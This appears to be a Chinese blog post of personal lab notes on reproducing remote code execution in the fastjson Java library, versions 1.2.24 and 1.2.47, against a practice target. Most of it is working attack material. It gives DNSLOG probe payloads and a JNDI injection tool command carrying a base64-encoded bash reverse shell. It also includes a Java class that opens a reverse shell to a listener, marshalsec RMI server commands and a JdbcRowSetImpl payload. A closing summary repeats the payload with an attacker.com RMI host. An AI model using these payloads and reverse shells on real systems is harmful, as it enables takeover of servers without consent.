fastjson-rce复现

首先可以用 { 测试一下看返回包有没有fastjson提示符,因为这个可以被删除所以就没试。

直接开始用DNSLOG测试看代码是否执行。具体代码如下

1.2.67版本前

{"zeo":{"@type":"java.net.Inet4Address","val":".dnslog.cn"}}

1.2.67版本后

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形的

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

POC:

要嵌套在里面zeo里面

 {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}

Set[{"@type":"java.net.URL","val":"dnslog"}]

Set[{"@type":"java.net.URL","val":"dnslog"}

{{"@type":"java.net.URL","val":"dnslog"}:0
 

因为我开的这个靶场试1.2.24版本所以用{"zeo":{"@type":"java.net.Inet4Address","val":".dnslog.cn"}}。可以看到代码是执行了的

然后再来学习一下RCE怎么打

原理不谈,用得到再百度,先记一下操作流程免得以后又忘

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx.xxx

echo后面写一个反弹shell的base64编码。反弹shell语句还有绕过还得百度,基础先用这句base64绕一下 bash -i >/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+L2Rldi90Y3AvMTkyLjE2OC44NS4xMzAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.85.130

这里用85.130这台机器做监听机,同时还用他来启动恶意的rmi、ldap服务

这里工具支持的JDK版本是1.7、1.8 所以要注意java版本

下面就是启动了恶意服务和监听端口

现在攻击需要的基础环境已经有了就开始想靶场发起进攻

这样基础的反弹shell就可以了。

还有一个高一点版本的1.2.47的fastjson,也几个操作笔记

首先第一步构建一个友好的java类.这里面就一个反弹shell的地址和端口要改其他不变

import java.lang.Runtime;
import java.lang.Process;
 
public class first {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.85.130:9999 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后javac编译一下,生成了一个first.class。为了清晰一点把这个class文件单独放到一个目录然后启动一个http服务

然后再使用工具开启rmi服务,中间的地址是刚启的http的地址,文件名前面要加个#。然后最后是指定rmi启动的端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.130/#first" 8888

还有要开启一个监听反弹shell的端口

万事具备了就开始来到靶场抓包,数据包注意POST传参、格式改成json,这里面的地址是rmi的地址

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.85.130:8888/first",
        "autoCommit":true
    }
}

发送数据包然后看到成功上线,就先学到这里下班

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
fastjson是一款流行的Java JSON库,但因其在解析JSON中的不安全行为而存在远程代码执行(RCE)漏洞。为了复现该漏洞,我们可以按照以下步骤进行操作: 第一步是选择一个适当的fastjson版本,建议使用较早的版本,因为新的版本通常会修复漏洞。将fastjson库添加到Java项目的依赖中。 第二步是创建一个恶意JSON字符串,该字符串中包含能够触发RCE漏洞的payload。例如,可以使用如下的JSON字符串: ``` { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://attacker.com:1099/Exploit", "autoCommit":true } ``` 在这个例子中,我们使用了`com.sun.rowset.JdbcRowSetImpl`类作为目标,其中连接地址指向攻击者控制的RMI服务器,用于向受害系统发送恶意代码。 第三步是编写Java代码,并将上一步创建的JSON字符串作为输入传递给fastjson的解析器。以下是一个简单的示例: ```java import com.alibaba.fastjson.JSON; public class FastjsonRce { public static void main(String[] args) { String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker.com:1099/Exploit\",\"autoCommit\":true}"; Object parsedObject = JSON.parse(maliciousJson); } } ``` 在这个示例中,我们使用`JSON.parse`方法将JSON字符串解析为一个对象。fastjson在解析时会实例化目标类,并调用其构造函数和setter方法,从而导致RCE漏洞的利用。 第四步是运行上述Java代码,并观察是否成功复现RCE漏洞。如果目标系统受到fastjson的漏洞影响,恶意代码会在解析过程中被执行,从而使攻击者可以远程控制该系统。 需要注意的是,复现fastjson RCE漏洞仅用于研究和教育目的,并且应在法律合规和授权的情况下进行。漏洞利用是非法行为,可能导致严重的法律后果。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值